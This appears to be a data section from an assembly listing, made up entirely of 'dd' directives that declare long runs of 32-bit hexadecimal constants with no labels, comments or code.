dd 0A04F8CA6h, 173C9876h, 940466A5h, 0F49C120h, 824C6050h
dd 7834084Eh, 415318B0h, 4444079h, 8816BA4Fh, 0A800BB5Bh
dd 0F85A17F1h, 0ECA63FAAh, 94A93BFh, 0A47B92A4h, 0F5A5923Ch
dd 1E104454h, 64268A9Bh
dd 5A016307h, 0C4AEEC72h, 872F0014h, 20B29FB5h, 15248003h
dd 0D603E20Ah, 882AA489h, 1F0D72h, 2CDFDC8Ah, 0AB2B8CA9h
dd 3A4D523Eh, 2298C07h, 5A18C8h, 392E7BA7h, 7E417850h
dd 9AD1701Fh, 71C71180h, 1FB75B5h, 36DC6A6Eh, 20A15F56h
dd 0C90E69CEh, 808A5150h, 0F75B89A6h, 47F03C6h, 17C00ED9h
dd 0A511ADB0h, 72022600h, 0BF5F708Eh, 741400F6h, 671064D4h
dd 250EA6E9h, 0C10F5616h, 0A3A2892Dh, 0C905C087h, 6C62830Eh
dd 4E211067h, 70FC8570h, 0D1AD0E8Eh, 2A8001A3h, 0A9A8C9F3h
dd 1089B130h, 609CA572h, 0DADC783Ch, 0EB1F051Ch, 0A0013061h
dd 0CB927FCDh, 0C959A0F3h, 0F80A1164h, 20C12072h, 3F014DABh
dd 0F139D756h, 0F8EFA983h, 1C4E8CA6h, 0B061044Fh, 6A5EAF88h
dd 8BA9710Fh, 6D0332F6h, 1324AA5h, 0ABE960F9h, 8376F02Bh
dd 0CBF12A30h, 0EE6078A8h, 325606FEh, 20625E04h, 0B2876F00h
dd 0CE14BF2Bh, 75AC0072h, 0FDDD851Bh, 0D1141564h, 58D099E8h
dd 18A83C02h, 1D5856BEh, 0FE3820A5h, 80DB1A3Fh, 45847EAEh
dd 18038223h, 7893E889h, 2E00262Ch, 0B3793E56h, 30046A76h
dd 9F805BA3h, 0C261BF89h, 58EC9428h, 0A36691E0h, 9B9AF008h
dd 8AE906F4h, 39500488h, 0CFF16414h, 0D42E006Ch, 0EB90B76h
dd 44A5141Eh, 2B00BCBFh, 7A1165D5h, 0EA1F893Dh, 612C718h
dd 8E41C11h, 7704D1h, 0D395B9BFh, 2C30A518h, 0FD5958A1h
dd 0C2E4989h, 0F4043706h, 0F5EC801Eh, 9DECD20h, 3676853Fh
dd 66C1422h, 20A51900h, 2C48C062h, 0F37F97C9h, 0A4F15803h
dd 0C819B167h, 7275D0EBh, 0A44754A5h, 9CB0DAh, 64C17EFAh
dd 0BF7161EFh, 0B3A97609h, 0B38228Fh, 9B1C40B1h, 90018422h
dd 11BF330Dh, 208A0699h, 4490C9F1h, 55588477h, 6F83AC20h
dd 0DEC0A8E7h, 0E25023A4h, 0DF39199Ch, 3061B089h, 30D1058Dh
dd 1A404E17h, 5A001E8Eh, 0D5ECE2C6h, 108CE77h, 0AEC9F232h
dd 0E8359312h, 0AC48FED1h, 0C3F7001Ch, 0A4A2BF3Bh, 902E606Bh
dd 0F15E3F12h, 18628A06h, 4481A97Dh, 54901163h, 48043608h
dd 8966020Ch, 9C48A965h, 4D0761ECh, 462F9C1Ch, 29B63h
dd 2045C04Eh, 0AA2988BCh, 72573F0Eh, 7812B2Dh, 67C2B06Ch
dd 37586038h, 70DD984Fh, 0D82C60D1h, 0ABC981EBh, 7E89B609h
dd 1BA01052h, 44EC030Dh, 0A9906321h, 9A7E84F8h, 0F48D3205h
dd 803B1A8h, 2445040Dh, 1FD4B329h, 8892CC7Dh, 41B8EB9h
dd 0F85861C0h, 0C4826D89h, 88B90718h, 1D205248h, 71E93C47h
dd 8801BCD1h, 6CBCF2C7h, 80303424h, 0CCEBB887h, 0EF0C9B77h
dd 184612D0h, 8ABC03C2h, 3DDC895Ah, 533C6015h, 29AD00BCh
dd 68A96A06h, 1CD72489h, 0EC0C0688h, 0D118212Dh, 71481108h
dd 40C898B8h, 560C1E66h, 28486BA5h, 0C1D0A326h, 1080FF7Ch
dd 0FC43CBC0h, 0A1360BFh, 8C44A6A4h, 2C055AA2h, 89A820EEh
dd 1CB26DB1h, 9D990607h, 2AA9194Fh, 4062CC5Ch, 5C849826h
dd 9BB03089h, 0C7156D38h, 6A463Bh, 7DAAE95Fh, 0CC486ED1h
dd 75826F30h, 0DE8578C1h, 0B1F18DFBh, 41F73C34h, 22EC610Ch
dd 0EB0D14E0h, 66608F80h, 2918CC29h, 8F9C523Bh, 1D73327Ah
dd 0D32D0064h, 9CAAA54Fh, 1640AC9Ah, 81347585h, 4A086B1h
dd 180EF79h, 0E3DB235Ch, 804541D0h, 6B847578h, 38D0516h
dd 4C7014E5h, 9E03DC1h, 7F843B6h, 8979D490h, 0D4A9DB68h
dd 4CC35D64h, 1A190236h, 0A7A11C2Ch, 0D1067660h, 7B85009Bh
dd 4C198B1h, 41306B9Ch, 8F8B00E9h, 0D152EB2Ch, 7105C4F4h
dd 90A975B4h, 600B8C22h, 90051E94h, 94BC0050h, 3D2EECF2h
dd 4A601004h, 0A6B15088h, 760AE8A8h, 1E9F0DAh, 185AC951h
dd 0D03DDB26h, 6A788B36h, 9727891Fh, 61EA0507h, 50168DC0h
dd 72C711Fh, 8B12BBD3h, 30D8C75Ch, 0EE98978h, 0DB005090h
dd 34B0FA4Bh, 0E10F8304h, 2414F8C3h, 0F2F51CE9h, 0F02847FFh
dd 0A3E8375Ah, 24174CFDh, 8606835Dh, 0EC2C1C89h, 8119C05Eh
dd 3DAB0EF7h, 0FE7E087Fh, 48C0DAECh, 7C21BF57h, 0C11C001Bh
dd 0C78107EFh, 68092BB4h, 0FFA8975h, 4A8D0D39h, 32CD8C0h
dd 0B15153FDh, 6FE85043h, 0E918E788h, 8B226690h, 0D3D8E324h
dd 0FA9CEA3Ch, 1A0A60C9h, 33B3EA81h, 68259D06h, 40DB0DD8h
dd 95602B0Ch, 0D3EB8010h, 53593D66h, 0A8F57099h, 0E31CD958h
dd 317C0C60h, 0C38BC888h, 4C4813Ch, 0C108A103h, 69B5E9h
dd 6841EB73h, 0C3014414h, 88CCAF1h, 711EE10Ch, 54C4E30h
dd 803C8F16h, 6CD8DCDFh, 0CA6B6887h, 4F36581Eh, 0B2D2086h
dd 9DD56431h, 0AB40E189h, 38AA6AD1h, 18506845h, 994964CEh
dd 442680C2h, 0D00029B2h, 5D8015Ah, 75A62EA2h, 60970047h
dd 51557A25h, 4301D368h, 0E9592458h, 44831F3Eh, 207F83ADh
dd 7840F80h, 0C65B3C60h, 76D739AAh, 56EC5008h, 0D889EB89h
dd 28184122h, 432A6853h, 5415117Bh, 12710558h, 1420E4E0h
dd 1FD02331h, 4CDFF763h, 0B8240519h, 0B955D100h, 0AA33BD68h
dd 1970346h, 2941E9C5h, 99352200h, 2D38B15Bh, 7AB0EA67h
dd 52830739h, 0B0487195h, 0F4D079D2h, 0AFE9D2A0h, 52381260h
dd 0EC09CB2h, 0D2F605EAh, 8003E2A3h, 0D7882BC0h, 0BF045A03h
dd 0A02CF828h, 34E95B66h, 5FB0F150h, 0CB02D8E4h, 34F8FB29h
dd 0E2AC5FF4h, 24963348h, 0D8889931h, 0CF810006h, 0F5B2071h
dd 31048890h, 4F50A343h, 5E0BA580h, 0E9B70929h, 5A203858h
dd 0C6FE2DEEh, 86526600h, 0F601244Ch, 0E306A3D1h, 8826505Ah
dd 0C18A44C8h, 890688D1h, 0DB892387h, 8BCC12EFh, 173712Ch
dd 500630D3h, 900D0EC0h, 0F4053E14h, 0E73D54B7h, 8A88A0DFh
dd 0F89181D5h, 0F5A66EDDh, 0DE579EA9h, 0DB92DF40h, 0C58128C0h
dd 1E6F5C5Fh, 14D5017Bh, 0AC5108EDh, 0BCA508EAh, 36F06E19h
dd 334C9A31h, 68004806h, 6F266D61h, 0A9E5CDBEh, 58C2D5Ch
dd 1D660A7Ch, 373E5E68h, 0D3BED399h, 0BD55561Dh, 4D021D80h
dd 1D77E581h, 0CE19CE7Ch, 5F395BE9h, 5FFDC8CFh, 0DDF7590Fh
dd 92A8CE57h, 46B9C640h, 6F272515h, 69CA72C1h, 0E8218AF1h
dd 0C20958ACh, 52E2D100h, 0D819C3BAh, 30AA9978h, 5B61B9DCh
dd 50CE2AEEh, 0E70A4506h, 55C79C47h, 586F8300h, 0C0B6280Fh
dd 0C3874993h, 0BE009CD0h, 10C81170h, 0FF0DEE83h, 206731E9h
dd 209278D3h, 1E905489h, 2F9E4309h, 2924995Ah, 9E7DE21h
dd 741853E0h, 33C96780h, 550F163Fh, 2005E1C1h, 364CF6E9h
dd 0F7513475h, 22208134h, 0E9000508h, 171077DCh, 0D6EF0081h
dd 0E931875Eh, 0EBAAFA75h, 1AF0F322h, 89C4ED6Bh, 6BF0A019h
dd 870C8362h, 5BFF913Ch, 1001AF31h, 0C422BE56h, 5EF30109h
dd 0D04BB33h, 342E95Ch, 882D0990h, 56339247h, 987ED15Ah
dd 0B6E91995h, 595C1015h, 99C2F3B0h, 0EE01D564h, 4FCD1A34h
dd 0EA47C601h, 12253190h, 8EA03C1h, 81DCE951h, 68503005h
dd 0D35B2376h, 6447F1C4h, 3C7134h, 5336A56h, 53667429h
dd 2EAD9FA0h, 99316B38h, 0F74C5FF8h, 5D529C47h, 83A1A9D2h
dd 0FAD001A0h, 2C16C80Ch, 0AC079809h, 53D4FE2Ch, 3178B235h
dd 5A101C32h, 0D6C1CB55h, 0BE0F0047h, 895012C8h, 902D74E0h
dd 0D0346E78h, 63EE5B60h, 906ACB41h, 13F52614h, 20B28C0h
dd 1187B1A7h, 940CA01h, 0AECBD655h, 3298004Bh, 0E5E4313Dh
dd 68BBB442h, 62F82142h, 5452648Bh, 23C2CA84h, 330C2483h
dd 45311731h, 4045DB54h
dd 0E67C3A9Eh, 4372933Fh, 0F46135FAh, 8BD82952h, 0D883FE42h
dd 5D001F1h, 34D43743h, 0F854C1C7h, 25B02B49h, 0F10501E9h
dd 0C040B92Ch, 15531CFFh, 0AEBBC177h, 205D3042h, 6401D236h
dd 0D6F73732h, 6A71E6C1h, 1291D020h, 1F315250h, 18EB1B41h
dd 340FF9Bh, 918BC2h, 0B88C56B4h, 0BDFF55Ch, 31C6E9B1h
dd 831BB712h, 0E0870C28h, 0C8325C59h, 6192240Ch, 36C3305Ch
dd 84A94813h, 0FACDD467h, 65BE8D10h, 79020A06h, 420DEE29h
dd 1948F021h, 0E9245456h, 5F8FD502h, 0C727F28Fh, 21FC4C3h
dd 2780C7B1h, 404B51FCh, 8175CDF1h, 22EEEB1Dh, 39EC344Bh
dd 3116D25Ch, 2D0F3CBh, 5682878Ah, 9260E6C5h, 0D00C78E9h
dd 9927E4Ah, 4F800346h, 28DB095Fh, 0ECE94112h, 0D9019544h
dd 6370F3C0h, 293424C2h, 0F9B3229Eh, 6901A62h, 1683878Ah
dd 2A965D5Ch, 8A5949A0h, 8C0248DAh, 6095DDEh, 1FC98F33h
dd 8919ED80h, 19A83E2Bh, 0B998BCAAh, 6EDBD20h, 97F58103h
dd 34A4603h, 0B35F2982h, 9E00D123h, 543BC8EDh, 38B850DFh
dd 600146EEh, 6F30905h, 8D2B20A0h, 48516680h, 9E1A34B5h
dd 924CD060h, 87490684h, 77A1033h, 0EB285A04h, 62D68166h
dd 0F3318083h, 5E3D04BAh, 34D97D89h, 11A251Eh, 8C0CE4A8h
dd 9BF7D968h, 0D0C65D4Ch, 30C2A4EDh, 0CB12EB01h, 0F8300806h
dd 56954E11h, 0A03F589Ch, 86DC242Eh, 0F80E2648h, 79E1EB09h
dd 0B89A86D9h, 23BD00C1h, 0C1026A37h, 831407E5h, 69201C5h
dd 0C8C71CAh, 0B36010Ch, 7FE9502Fh, 0C1BD41F3h, 0CF0A20E7h
dd 9E5DD909h, 0EC578314h, 0E055BB36h, 301BBFE2h, 0DA0C67FFh
dd 7C09194Ch, 0A2AEE94Ah, 428B662Bh, 82AE654Bh, 56505E54h
dd 492627C1h, 0E6285716h, 483B6E57h, 0C126051Bh, 88303E2h
dd 0F8621107h, 0CD3122Ch, 0BC7360C3h, 0F4516C8Ah, 0AB40B049h
dd 134D3D12h, 22CF012Dh, 0EA022CEDh, 4244924Ah, 0AB64508Eh
dd 2E077B5Ah, 407BEE51h, 576C3DE6h, 0DFDDBA0h, 0C04E230h
dd 0FBE364B8h, 74163600h, 356A0C5Ch, 0FA543AE0h, 91FE1872h
dd 0F32BB74h, 4B25F348h, 7629C06Bh, 3A43CFBAh, 126A5EE5h
dd 68FE422Fh, 17594B52h, 3FE0BA01h, 984271B6h, 868D8402h
dd 16A805Dh, 0CD29DD59h, 740D6E9h, 83A23302h, 0D656CCBh
dd 0F1CC63A0h, 0E30431AAh, 602DEA0h, 6836FC9h, 9CAF5BCFh
dd 84CE6958h, 9F152E38h, 4ECEEC1h, 6324B700h, 4983E932h
dd 48054D77h, 0C72B8E37h, 1064C368h, 925E1829h, 9657290Eh
dd 96E0C336h, 0B8026B9Fh, 0BE710E8Eh, 14EB8C88h, 0C20E65Ch
dd 0DC19262Ch, 270F6C69h, 1B207D3Ch, 0FD069AEAh, 4CBB2B58h
dd 5908409Fh, 0A41FA2D7h, 0C42CDA98h, 16F93E05h, 0FB8D9098h
dd 401E9DEBh, 80CC57CFh, 3511652h, 9C3FB768h, 0D2D75908h
dd 2266350Bh, 0F0215C35h, 21256309h, 0C8FE5B3Bh, 0A861CAE0h
dd 0C4240FF3h, 20C7DB3h, 4C5BDE01h, 508E9272h, 4EEC2729h
dd 2CCC44CDh, 77071EF3h, 11A59D1Ch, 0AED81408h, 685C020Fh
dd 2A4C6086h, 0DD170F00h, 16872D0Ah, 297716F3h, 92D00D0h
dd 0E970385Ch, 0F6F0522h, 0CB64D4F2h, 75D70492h, 40E3B26Bh
dd 9C8989CCh, 8C5E799Dh, 592670B1h, 29C2C5A1h, 0EC872A46h
dd 7FFA7B49h, 795E0148h, 0A57C8E33h, 6579B9CEh, 0C1C97F85h
dd 0BEFB1D60h, 32187801h, 25CA3133h, 5CC6408h, 1C607D94h
dd 0BA266948h, 0C6EE4047h, 4CD29505h, 0E18901FEh, 987B112h
dd 9474404h, 2572E554h, 0ABE91698h, 0F1175D60h, 1F852CACh
dd 78CB2915h, 881C4E49h, 5BF989D7h, 5370A94Ah, 83612484h
dd 0E8B7E90Ch, 0ED879C47h, 2FC355E4h, 0C261038Eh, 625E529Eh
dd 54E831DAh, 64B86664h, 0AC024Ch, 0B951E289h, 12A64FB0h
dd 0E1D161h, 377028F2h, 0F0B00118h, 9C9CA4E4h, 71752C30h
dd 0A9655045h, 310B3B66h, 0BCD0912h, 9D197B7Eh, 4E94E40Dh
dd 15F0F8A6h, 8B141AB4h, 0A98D50E5h, 38575941h, 6C526182h
dd 360E9ABFh, 0F6E7CD60h, 133E22B1h, 70884C34h, 5A0E9C5Eh
dd 524C8051h, 31625A74h, 936C6520h, 51005D10h, 1C133BDDh
dd 0DBF72681h, 82081D4Bh, 302C3CEEh, 21FE7941h, 5F08000Bh
dd 0E44F46E9h, 3A646524h, 36330623h, 0D063122h, 0C0095C01h
dd 4862840Fh, 0C1CED3A8h, 216859D9h, 94BF6820h, 24009433h
dd 3CA7967Ah, 315C0A4Fh, 86BD66C3h, 0AECFD9E9h, 86CD8102h
dd 0C01A1055h, 603AF6FFh, 36ED424Ah, 4B49F880h, 71F84003h
dd 6B650906h, 8264F929h, 689C8008h, 3D752839h, 62D036E9h
dd 60E8F02Ch, 13051087h, 68F6FA7Fh, 74322D5Ah, 9BF78A5Eh
dd 0E0F029E3h, 9E7C6568h, 6054B4Ch, 0D51E0110h, 2453E95Ah
dd 0DE00F73Ch, 0C9AF681h, 95532B4h, 0E83B1A68h, 0D48E1605h
dd 4885A346h, 0EEB17FCDh, 37F4FFA0h, 6AB22E49h, 2CB1988Eh
dd 1D05F77Fh, 1E7416C8h, 4292C977h, 1AEAC2A5h, 0BDC13B23h
dd 6CB353CBh, 7DA32E04h, 50B4449Ah, 0AF414DE9h, 1C545113h
dd 3980D165h, 58C718D8h, 0CD059A92h, 245308B1h, 534C5C86h
dd 67084DE8h, 0F84C02ABh, 4306963Fh, 0FD02213Ch, 2FE4EBC1h
dd 4801E269h, 592858ADh, 893ADC3h, 801F0A2Dh, 2952F058h
dd 211A8378h, 5288CED2h, 0CABC3259h, 0A30A0499h, 8F27E204h
dd 88954AC1h, 0C7B14003h, 0E50CAC2Ah, 29010613h, 1921271Ah
dd 5959CAC8h, 0DC00AAF7h, 2DC16B70h, 4A0535F4h, 7D8DE908h
dd 6A427DCDh, 456942D0h, 95EC10B8h, 0C4F4C98h, 465F0884h
dd 2680B210h, 0BD3FE768h, 15F8DA18h, 84B4758Eh, 0A5652D0h
dd 0A91DB568h, 14CE0CBEh, 81AA3B43h, 5C4EE652h, 55581530h
dd 12F9A54h, 7AFA5A9Eh, 23942EE9h, 0FA104E83h, 14502CF9h
dd 84C16514h, 40F659B4h, 0FDD133Bh, 9D10994Ch, 0BF0F0112h
dd 5D3A68C8h, 0EDC4D678h, 0C14490C9h, 5298594Fh, 365DF4F6h
dd 79294BB3h, 0CC540B79h, 61544A53h, 0F6EB8343h, 0BB5B7D5Ah
dd 0F8014700h, 2460AA05h, 260B0E0Ah, 0CB888E46h, 0DA83D14Eh
dd 53905B66h, 751CB652h, 0F30625B3h, 121D085Ah, 81BC280h
dd 1092B7Ah, 84A2C2EBh, 4D02731Eh, 0BA63EA87h, 6872D8DCh
dd 0B419932Ch, 0B3000E44h, 0FED3F601h, 0AD5AC37Bh, 0C8BBDD00h
dd 0B839F157h, 6AAB00D5h, 0B8503B07h, 99012FC2h, 355D2505h
dd 89605913h, 0FEDE447h, 2FD72DCCh, 0E82976A0h, 619442E9h
dd 0F121873Ch, 0AA0C15Eh, 9C71BA68h, 16494F6Ah, 990BA142h
dd 1929BA44h, 971A1350h, 0AC2E609Fh, 57E51229h, 26921658h
dd 80051A82h, 167E374h, 582E77C2h, 0AD680344h, 5EFBEAAEh
dd 2DEAF5EBh, 12B2A6C8h, 4AB35302h, 61CAEB80h, 4F833365h
dd 29E338EFh, 5AA709D5h, 11687C98h, 0CC4F4B48h, 0E01B64B8h
dd 58C63D31h, 0D3E9F084h, 6D5C0A26h, 0CAFD0A49h, 6FE63830h
dd 3207B846h, 57AAE2C4h, 93DF2461h, 260AFE06h, 0EE98F58Dh
dd 507D88E0h, 9033B308h, 3B6CB49Eh, 286F224Ah, 80205852h
dd 9B5DEC8h, 452DDE07h, 0D302FFE8h, 675E3EBAh, 73B96139h
dd 3E0C100h, 6C68531Ch, 0B5CA19ADh, 0F02E32E4h, 105F48FBh
dd 0B58167Dh, 8566C216h, 0CC62FAA9h, 738DE980h, 0F7051827h
dd 4433E9D7h, 200AF5Eh, 0C1656159h, 140573E7h, 0BC4F03EFh
dd 347EF906h, 30130C25h, 90A5665h, 8B90BACCh, 0DEC2D769h
dd 83A65E79h, 37000621h, 2923D478h, 555A5CD6h, 0A062AC06h
dd 52171275h, 0B4D4E0E9h
dd 797EC4B7h, 0C3B1C784h, 63B1217Ch, 0DE769C52h, 96CAF292h
dd 7784BD4Ch, 0EED1056Ch, 484BBF97h, 676368D0h, 0EAC26348h
dd 67966BD3h, 65A6E940h, 8C551084h, 0F412AB0h, 81C95D3Ch
dd 0DFB22CABh, 671AD480h, 0C11A063Bh, 0A0F802E5h, 2FC70501h
dd 2C7E5C03h, 0EA072D28h, 7D24002Ah, 36055E33h, 0EE90F323h
dd 7A2D87Dh, 5FE56FC0h, 0E938470Bh, 6C12A1Dh, 68583526h
dd 0DB51097Fh, 6855955h, 4FD2C303h, 2062224Eh, 17A5680h
dd 0A151B668h, 6487E974h, 2EB05AABh, 2538F55Dh, 40251E5Fh
dd 10A5C87h, 0D31C8BDDh, 7EDC1E1h, 0D1A99BE7h, 6E716618h
dd 0F6248569h, 28182C49h, 80AB0F2Dh, 662151DDh, 46031008h
dd 0F74D8694h, 51335AA9h, 0C00650D2h, 81C640C0h, 5ED7CA05h
dd 0B1C07E40h, 0BAD16213h, 9D6B02B7h, 0D001E5C0h, 25E71B40h
dd 6A50B881h, 3076E0C2h, 2B0C6410h, 6C3E530Fh, 41065C01h
dd 0F0D02008h, 3D004F73h, 0C776BD2Dh, 0B6DEE93Ah, 41F61D98h
dd 0F3B15166h, 0CA8F3030h, 0FCBFEA40h, 47C53D2Dh, 51414B74h
dd 1416DA32h, 0B6FA7548h, 5BDD1327h, 21CDC301h, 5E206F92h
dd 93705BCh, 89D1F747h, 5150CACEh, 2035FC0Dh, 586CCC2Bh
dd 0E2700389h, 5B13881Eh, 129E2215h, 0BE00FB01h, 75185666h
dd 512FB65Fh, 9C28EB5Ch, 1E50F71Dh, 2176F885h, 44293312h
dd 6974965Ah, 0DEC9C3B8h, 0D8128079h, 6FF6E209h, 0C5E264A9h
dd 71C0CB92h, 13A40865h, 6FE0BA01h, 8B7C72EBh, 9FF28101h
dd 3019400Ah, 5B13757Ah, 6A09344Fh, 4B7D8B08h, 64AFB014h
dd 56784892h, 18618042h, 3044F2FBh, 415A0CA2h, 0EA21D273h
dd 21855A5Bh, 28133B36h, 0F0688842h, 7CD6660Eh, 9432E954h
dd 3AA3E90Dh, 0AF33421Eh, 0B980F15Ch, 4C8161E0h, 9543E501h
dd 45514959h, 4E9FE913h, 68C2875Ch, 7CCC5B0Dh, 0ECF90702h
dd 6CC1314Ah, 0C80125CCh, 2D13D1ACh, 0BB472709h, 521850Dh
dd 1B080712h, 0D1890EF2h, 98BCD4Bh, 0EF16BF29h, 34656815h
dd 6C4841h, 75D050F2h, 1C5814Dh, 8A2FAF13h, 3E5DE889h
dd 0BADC3CA0h, 0FE2902FAh, 6EEC15Fh, 0A8B5C860h, 109B0D4Ch
dd 587E1DCAh, 0E21446EAh, 0CD0DEB08h, 0F10C9769h, 435660F7h
dd 89280CC7h, 0D3010FB1h, 3DCCA941h, 0E4D02F24h, 8B5814C1h
dd 0C0878714h, 850439E1h, 2A3DB202h, 1584ADFEh, 9B815328h
dd 0EC44E702h, 0D0BCE968h, 0D7AD506Eh, 5D3B1F65h, 5870495Eh
dd 0EE54F9A2h, 800721C6h, 0D9F66BE1h, 660EF150h, 0CA883752h
dd 0E56ABD08h, 87D1E55Ah, 9DE98008h, 44FB6727h, 1600BE97h
dd 5E352256h, 5EB762F5h, 7F6B8F7Dh, 0DD9B42Ah, 0FD06315Ah
dd 68F95DCDh, 0B254A598h, 52788463h, 0E9571C20h, 0EE8CAB2Ah
dd 0B054D482h, 8006A53Dh, 3943BB91h, 602EE7A0h, 875A9164h
dd 0ABBD20EDh, 714D5C04h, 8099F921h, 419A072Bh, 0D5D4081h
dd 0EFF2DD64h, 2807679Ch, 0F83059CFh, 4A0F685Bh, 0B73D232Ch
dd 0DF40C0CAh, 0D9E14E9h, 549A102Dh, 42BF8080h, 0D1B0F07h
dd 10C2FA01h, 596CC616h, 0D4DA3E5Dh, 2D4DEFF1h, 48BBF55h
dd 0A9659450h, 8A21CED2h, 24BE2FFCh, 27665914h, 0CEEA112h
dd 0FD8EE918h, 0B0E3C1B8h, 84C3007Bh, 1DB4EB8h, 1A35E9D9h
dd 9D8D20DFh, 592D4835h, 4E6AB842h, 43711DB9h, 75BE7CE1h
dd 25A40B58h, 0B16209B7h, 0DE30FE87h, 17B40B50h, 726163E9h
dd 0CBA3205Bh, 0DE35310Ch, 930C1Eh, 0D1248E14h, 0E9D3F7E3h
dd 80CF0A54h, 689F634h, 43340E81h, 225EBA02h, 0E889F242h
dd 180FF6EFh, 0C4C406Dh, 0BB05ADABh, 0D9BE9C2h, 2668D58Ch
dd 0C8645260h, 9318A67Ch, 2C58D958h, 0C72DE74h, 4A694687h
dd 0C6BA45FFh, 7812E2C2h, 31E864FFh, 4A587C6Ah, 5C5863CCh
dd 0D560A5E9h, 3F4428E2h, 56D02162h, 0BF53C8F7h, 6EDD24Ah
dd 66D1D068h, 0D04B905h, 93B06589h, 7C7141F5h, 0F3BA26B0h
dd 4F3916A8h, 15422413h, 323C4900h, 0CF129A7h, 1685F5Eh
dd 1FF8E9DBh, 0D1F094A6h, 372A8141h, 0E753B6F0h, 186725A0h
dd 3D423C48h, 1C0B86EBh, 304C8F49h, 3026E12Ah, 73B858E5h
dd 0ED80070Fh, 0B715D2F5h, 2E31E86h, 414EC712h, 71202968h
dd 1456135Dh, 0CEC2947Bh, 80520159h, 0E983194Bh, 957E5358h
dd 0E10BFC34h, 0FC08619Bh, 2851FB68h, 4B0B68A5h, 680466CBh
dd 0C232D26Dh, 14C00180h, 7727E908h, 4F556426h, 2D180771h
dd 75B783CBh, 80380FD1h, 8C6FC155h, 192D355Dh, 207B1B85h
dd 30B575E4h, 5E4AF548h, 0F872882h, 2431FAE5h, 68B243h
dd 1969FBC1h, 25F10166h, 4BC8EBE9h, 8217A4EEh, 245C2275h
dd 29151B01h, 1EDE9F7h, 9C24715Ch, 0F214B53Bh, 0B50C924Eh
dd 781A94Fh, 556DABE1h, 5C826F1Fh, 0F860C127h, 0E4F759CBh
dd 6C9223F8h, 18333EC9h, 7CE8C1F9h, 68C80A12h, 88C97E26h
dd 82272F4Bh, 0D95C42DAh, 0DD99BCD9h, 20C85163h, 5364745Eh
dd 0D6E8F223h, 25CE50CFh, 0FD010070h, 56AFED81h, 35357D05h
dd 0F3C0C157h, 89624C7Fh, 784CB25Bh, 82504AD6h, 310DC000h
dd 0E8973843h, 6ABB337Fh, 0F300B99h, 4D4C5783h, 1B10D30Ch
dd 4E047206h, 8529D749h, 88910C2h, 1F140C68h, 0B76719E9h
dd 89C920D6h, 34F07713h, 0F544A80h, 520C0764h, 6F0BC7BAh
dd 68DAF700h, 0A2A81715h, 1834DECh, 2E7C96F4h, 2DEB01B4h
dd 0CCB7169Bh, 513C80CDh, 5AE38986h, 0F77F3C98h, 71F06DB8h
dd 0A9199328h, 3081677Ch, 0D8324F30h, 0C7860D06h, 0B1686602h
dd 0C837E948h, 0B8A6B680h, 0AB30E928h, 9025B8F3h, 2956403Fh
dd 0F931CF1Ch, 0B98609B5h, 53D9077Bh, 47366368h, 0A1AAA465h
dd 8D9CBD82h, 0C74AB4Ah, 5C8D50DCh, 0BE48C733h, 0DCFC204h
dd 0A81BB0C9h, 4771BB16h, 0EA621109h, 5E8291D6h, 109774A6h
dd 4BBE2623h, 0D01D648h, 0E90CAC0Fh, 0C0A7C8D6h, 4C064CEDh
dd 0E828A507h, 0D191F98Bh, 0D8D3C72Ch, 1F680A09h, 0F75169h
dd 0CAFECEB2h, 8003D2F6h, 0B3532CC2h, 0C1D3C33Fh, 3A9C06EBh
dd 0E9D0055Bh, 0EF1AE433h, 0C3B06978h, 22C2B494h, 61FE5C02h
dd 0BF5143E9h, 6E500F12h, 665B6F40h, 0A4166ABCh, 42D38272h
dd 598D01E3h, 1DC5866h, 82D4B8F2h, 0D8EE8308h, 5C381611h
dd 0F1D70556h, 44F9CD20h, 8208B949h, 494744E9h, 7571C3CAh
dd 4B887C24h, 6F00C8C7h, 7C14852h, 68DD657Eh, 5611F767h
dd 18851DD3h, 87C1A9CAh, 49AA3025h, 1267076h, 8202DF9h
dd 5668AA9Fh, 8827EFA5h, 280B78DCh, 34DCE4F7h, 0E8163FFCh
dd 2314A5EAh, 0B7E98F8Bh, 0A706B384h, 25D6BEEEh, 0FA42B3B0h
dd 959E386Ch, 41C008h, 552ABE56h, 0B59861A8h, 0A970A29Dh
dd 0EB9B68F9h, 0B691E91h, 5322D356h, 16F95E46h, 5F73C3E6h
dd 512C38F1h, 786D09EDh, 0B050C0C6h, 43B35Bh, 0B558C330h
dd 0E9C5FE36h, 4F89E04Dh, 487EF58Ah, 1C922701h, 684ADD1Ah
dd 0F47C7181h, 47883F05h, 10ED2D0Bh, 16D02606h, 0ABE90EC4h
dd 281205BCh, 366C88C8h, 594A8A9Ah, 7F12246h, 0FED84871h
dd 3D236809h, 0B30E5F44h, 675DB680h, 0C66328EEh, 51DE80ACh
dd 0F937EB5h, 0DDF6D4E5h, 4802CDA9h, 5D04607Ah, 4AD1F980h
dd 29063AA5h, 0F54C7CDCh, 0AFF35072h, 0CCA0973Eh, 50C92A85h
dd 220C0CCEh, 0E031B187h, 6577210Ah, 4905581Ch, 261CADE9h
dd 5C25EB47h, 48780120h, 0C10013A3h, 290506E0h, 0DD4C6217h
dd 0CC2DC110h, 389A2295h
dd 9B322A29h, 50593438h, 8240ECD0h, 0F229005Fh, 0BF57425Eh
dd 582C1AF9h, 3334A2BCh, 0CDF22D94h, 9C25533Fh, 29319D0Ah
dd 0D0F0983Eh, 8180D5EEh, 1A380BCFh, 996052F8h, 0F77FEF87h
dd 81208D9h, 17E6B720h, 27CCF70h, 9671EA0Ch, 28FBF0E1h
dd 2384D03Dh, 38CAA502h, 6A195F8h, 0F58F6051h, 6523504Bh
dd 0A434C5Ah, 0A522A212h, 53F3007Bh, 30042FB6h, 0C288E9EEh
dd 159E1EACh, 5732E39Fh, 64C435D2h, 2659760Bh, 28D1451Dh
dd 37A60A0Bh, 1A57D03h, 25E35B2Ah, 2B93C09h, 524266C2h
dd 94A76367h, 58E66290h, 240CE680h, 1346C6FEh, 5A130F31h
dd 0A6E9F8C1h, 31952575h, 3312E545h, 58D462E9h, 7867C372h
dd 0DBB93EFEh, 0CA313FFCh, 0D3EE59B3h, 53081E50h, 879029FAh
dd 5B0F0564h, 0CCCB8D87h, 34FC2022h, 6E2249Fh, 43E3C2h
dd 4E197A05h, 7E20AFB0h, 10664AE8h, 9E18BFFBh, 0F66814BCh
dd 6ED9555Bh, 0B48F067h, 980BD38h, 0EDC13D5Ah, 0DD0DF708h
dd 140DC581h, 0E3F48C8Dh, 2AE12364h, 0E0D09EE5h, 21D0DF5Ch
dd 82D0C75Bh, 0CD906AA8h, 0E21C77C1h, 0AFA8118h, 0CA10EF2Fh
